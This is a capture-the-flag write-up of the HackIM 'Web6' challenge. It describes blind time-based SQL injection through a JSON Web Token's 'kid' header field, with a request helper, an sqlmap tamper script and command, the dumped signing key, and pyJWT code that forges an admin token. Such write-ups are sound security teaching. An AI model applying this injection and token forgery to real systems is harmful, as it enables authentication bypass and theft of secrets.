The HackIM challenge "Web6" was an interesting introduction into a technology called JSON Web Tokens. I had not actually noticed this standard prior to the challenge, but it's an interesting concept. The goal of JWT (as defined in RFC 7519) is to standardize a means to securely transfer "claims" between multiple services, allowing the client to hold said claim. This is certainly not a new concept, but a newer (2015) implementation.

 

For this challenge, we were given a web site to connect to. Upon connecting, we were greeted with a message claiming we had to become "admin", but no real info aside from that. There were also no obvious forms or links on the page. Opening up the web request, you can quickly identify the following cookie:

 

auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtleTEifQ.eyJ1c2VyIjpudWxsfQ.2B9ZKzJ3FeJ9yoNLDGKgcxOuo05PwDRzFQ_34CrGteQ

 

Hat-tip to our team member faaip for identifying this as JWT. The natural thing to do is to base64 decode those blobs, to get the following:

 

header: {"typ":"JWT","alg":"HS256","kid":"key1"}
content: {"user":null}
HMAC

 

Johnny noted that we should probably try to inject some SQL into the kid field. After researching JWT a bit, I noticed that the header portion of JWT necessarily isn't validated. This is because the header contains information such as what algorithm to use, it has to be decoded and read prior to any validation. This also meant that the custom header field "kid" in this case would be read and likely used prior to being cryptographically validated. This is good, since at this point we have no idea what the key is that was used to create the MAC for this cookie.

 

With this in mind, the next step is to figure out what format a SQL Injection would need to take. I wrote a small python helper script to make it easier for me to try out different injections:

 

#!/usr/bin/env python

import requests
from base64 import b64encode

url = "http://139.59.63.144:29283/"

def send_request(kid):
    part1 = '{{"typ":"JWT","alg":"HS256","kid":" \'{}"}}'.format(kid)
    part1 = b64encode(part1).rstrip("=")
    # This will be invalid HMAC
    auth = part1 + ".eyJ1c2VyIjoiYWRtaW4ifQ.o6kr2gfBuw0MjHhbfbQ73vXxuBXgdnS3rK_txPQ_nBk"
    cookies = {'auth': auth}
    r = requests.get(url, cookies=cookies)
    data = r.text
    r.close()
    return data

 

What this function does is simply uses the auth cookie from a previous request, but custom creates the first part. Note, this will likely end up with an invalid MAC, but that's OK for our purposes since, for now, we're not trying to modify the user.

 

Quick side note, there was a known weakness in JWT where you could set the "alg" field in the header to "None", however when trying that on this challenge i received an authentication error, so I'm guessing that was patched here.

 

At this point, I threw random SQL Injection type payloads at this service. Most often I received the error "undefined method `[]' for nil:NilClass". However, I also received errors "unrecognized token" and "Signature verification raised". Googling these errors, it appeared that the "Unrecognized token" is a error specifically (or most commonly?) to SQLite. That helps narrow down what injects to use. Also, my guess was that "Signature verification raised" was a good error. This is because the server was making it all the way to attempting to verify the auth and not crashing before.

 

To get to that error, we needed to close off the SQL statement with a single quote, then the rest of the payload. This is a super common injection where we control string input into the statement. By giving a single quote, we're closing the existing statement and starting our own. Unfortunately, I could not find a way for my input to result in any text that was returned to me. However, knowing that it is SQLite i tried a blind time-based injection. For example:

 

' AND 1=randomblob(100000000)

 

What this will do is tell SQLite to create a large random blob of data. This will inherently take time, and thus will cause a delay in the return of your call if it executes. Sure enough, it took longer when I used this injection, so I know at least I have a blind sql injection here.

 

Blind SQL injection... That's always gross and I didn't feel like writing my own handler, so I turned to the ever popular sqlmap. This tool takes a lot of the labor off of you in exploiting SQL Injection. Usually, it is used in basic get/post requests. However, in our case we're trying to use SQL Injection inside a specifically formatted auth cookie. Custom tamper to the rescue!

 

SQLmap allows you to create custom tamper scripts. Often times these tampers are used to try to automatically bypass WAFs and such, but in our case we can use it to make sure our data gets in the right format. When SQLMap runs into an asterisk in it's command, it will ask you if you would like it to inject SQL into that location. Further, if you specify a tamper, any SQL that is injected will be passed to the tamper function first and the result will be used. So in this case:

 

python ./sqlmap.py -u http://139.59.63.144:29283/ --cookie="auth=*" --random-agent --tamper web6 --dbms=sqlite

 

This command will tell sqlmap to run against the given url, and create a cookie named "auth" with the value "*", which it will place it's sql injection into. However, before placing it's injection there, it will pass that injection into the tamper, then take the return value and paste it in as the cookie value. Thus, what we need to do is create a tamper script that will format the sql injection into the right place. The tamper script is very much like the original test function above:

 

#!/usr/bin/env python

import re
from base64 import b64encode
from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = payload.lstrip(" '")
    payload = payload.replace('"', '\"')
    part1 = '{{"typ":"JWT","alg":"HS256","kid":"key1\' {};"}}'.format(payload)
    part1 = b64encode(part1).rstrip("=")
    # This will be invalid HMAC
    auth = part1 + ".eyJ1c2VyIjpudWxsfQ.2B9ZKzJ3FeJ9yoNLDGKgcxOuo05PwDRzFQ_34CrGteQ"

    return auth

 

The above tamper function will manually craft the header of the JWT as before, only using the SQL Injection that it was given. This allowed sqlmap to automatically discover the correct injection format for this challenge. SQLMap also determined that the only injection here was blind, time based. From this, it took probably 15 minutes (and several re-tries) or so for sqlmap to dump out the table:

 

Database: SQLite_masterdb
Table: secrets
[1 entry]
+------+--------------------------------------+
| name | value                                |
+------+--------------------------------------+
| key1 | 6224a507-98fe-4d3f-805d-ae41ada4b4ae |
+------+--------------------------------------+

 

So now we know there is a table called "secrets" with "key1" -> <value>. I guessed that value was the key that was used to create the MAC for the JWT auth cookie we got. However, we now need to generate our own valid JWT. As it turns out python has a library called pyJWT that will help you create them. Because we dissected the auth cookie, we know the algorithm is HS256 and the key is as mentioned above. We also know that this version of JWT used has a custom header field named "kid", and our "kid" is named "key1". The guess is that the server side algorithm will first use the "kid" value in the header to look up the key to use in validating the JWT auth cookie. Thus, we needed to create a JWT cookie that also had a custom header named "kid" with value "key1".

 

The code to do this is simple:

 

import jwt
import requests

auth = jwt.encode({"user": "admin"}, headers={'kid':'key1'}, key="6224a507-98fe-4d3f-805d-ae41ada4b4ae")
r = requests.get('http://139.59.63.144:29283/',cookies={'auth':auth})
print(r.text)

 

hackim18{'jwt_quote_or_1=1_--_-'}